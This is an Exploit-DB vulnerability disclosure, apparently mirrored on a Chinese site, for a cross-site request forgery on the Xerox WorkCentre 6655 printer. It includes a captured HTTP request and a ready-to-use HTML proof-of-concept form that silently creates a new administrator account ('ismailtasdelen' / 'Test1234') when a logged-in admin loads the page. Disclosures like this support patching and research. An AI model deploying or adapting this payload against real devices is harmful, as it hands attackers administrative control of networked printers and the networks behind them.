XEROX WorkCentre 6655 Printer – Cross-Site Request Forgery (Add Admin)

  • 作者: Ismail Tasdelen
    日期: 2019-12-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47813/
  • # Exploit Title: XEROX WorkCentre 6655 Printer - Cross-Site Request Forgery (Add Admin)
    # Date: 2018-12-19 
    # Exploit Author: Ismail Tasdelen
    # Vendor Homepage: https://www.xerox.com/
    # Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/workcentre-6655
    # Software : Xerox Printer
    # Product Version:WorkCentre® 6655
    # Vulernability Type : Cross-Site Request Forgery (Add Admin)
    # Vulenrability : Cross-Site Request Forgery
    # CVE : N/A
    
    # Description :
    # The CSRF vulnerability was discovered in the WorkCentre® 6655 printer model of Xerox printer hardware.
    # A request to add users is made in the Device User Database form field. This request is captured by
    # the proxy. And a CSRF PoC HTML file is prepared. Xerox WorkCentre® 6655 printers allow CSRF. A request
    # to add users is made in the Device User Database form field to the xerox.set URI. 
    # (The frmUserName value must have a unique name.)
    
    
    HTTP POST Request :
    
    POST /dummypost/xerox.set HTTP/1.1
    Host: server
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 494
    Origin: https://server
    Connection: close
    Referer: https://server/properties/authentication/UserEdit.php?x=&isRoles=True&isPassword=True&isCreate=True&crumb1=UserManager%3Fx%3D%26sort%3DFname%26order%3DUp
    Cookie: PHPSESSID=d7c4d8f8efe7dd919e6d0f5c93ec16cd; PageToShow=; statusSelected=n1; statusNumNodes=9; frmFirstName=%22%3E%3Ch1%3Ea; frmLastName=%22%3E%3Ch1%3Ea; frmCompany=%22%3E%3Ch1%3Ea; frmDisplayName=%22%3E%3Ch1%3Ea%2C%20%22%3E%3Ch1%3Ea; frmEmail=test@test.com; frmIFax=324324324324; frmFaxNumber=324324324324; frmFriendlyName=; frmProtocol=SMB; frmXrxAdd_1=Ipv4; frmDocumentPath=; frmLoginName=; frmServerName=; frmServerVolume=; frmNdsTree=; frmNdsContext=; frmSmbShare=; frmHnAdd_1=; frmIpv4_1_1=0; frmIpv4_1_2=0; frmIpv4_1_3=0; frmIpv4_1_4=0; frmIpv6_Host_1=%3A%3A; WebTimerPopupID=4; propSelected=n28; propNumNodes=117; propHierarchy=000100000000000000000000000; LastPage=/properties/authentication/UserEdit.php%3F%26isRoles%3DTrue%26isPassword%3DTrue%26isCreate%3DTrue
    Upgrade-Insecure-Requests: 1
    
    CSRFToken=72d9d94444730e9b3d16953c7987c2b0cff73a5d6c60df40ba2804f07d24e494148665ebb53a2633e5a1e8b73ef64ad02536d260928c6f10f408f2e3fd7c0776&_fun_function=HTTP_Set_ccgen_fac_dispatch_fn&NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp&CcgenModule=UserEdit&isRoles=True&isPassword=True&isCreate=True&rolesStr=2%2C5%2C1%2C&limited=False&oid=0&userName=ismailtasdelen&friendlyName=Ismail+Tasdelen&newPassword=Test1234&retypePassword=Test1234&role=2&role=1
    
    HTTP Response :
    
    HTTP/1.1 200 OK
    Date: Wed, 18 Dec 2019 22:09:40 GMT
    Server: Apache
    Connection: close
    Content-Type: text/html
    Content-Length: 13518
    
    CSRF HTML PoC :
    
    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://server/dummypost/xerox.set" method="POST">
    <input type="hidden" name="CSRFToken" value="72d9d94444730e9b3d16953c7987c2b0cff73a5d6c60df40ba2804f07d24e494148665ebb53a2633e5a1e8b73ef64ad02536d260928c6f10f408f2e3fd7c0776" />
    <input type="hidden" name="&#95;fun&#95;function" value="HTTP&#95;Set&#95;ccgen&#95;fac&#95;dispatch&#95;fn" />
    <input type="hidden" name="NextPage" value="&#47;properties&#47;authentication&#47;UserManager&#46;php&#63;x&#61;&sort&#61;Fname&order&#61;Up" />
    <input type="hidden" name="CcgenModule" value="UserEdit" />
    <input type="hidden" name="isRoles" value="True" />
    <input type="hidden" name="isPassword" value="True" />
    <input type="hidden" name="isCreate" value="True" />
    <input type="hidden" name="rolesStr" value="2&#44;5&#44;1&#44;" />
    <input type="hidden" name="limited" value="False" />
    <input type="hidden" name="oid" value="0" />
    <input type="hidden" name="userName" value="ismailtasdelen" />
    <input type="hidden" name="friendlyName" value="Ismail&#32;Tasdelen" />
    <input type="hidden" name="newPassword" value="Test1234" />
    <input type="hidden" name="retypePassword" value="Test1234" />
    <input type="hidden" name="role" value="2" />
    <input type="hidden" name="role" value="1" />
    <input type="submit" value="Submit request" />
    </form>
    </body>
    </html>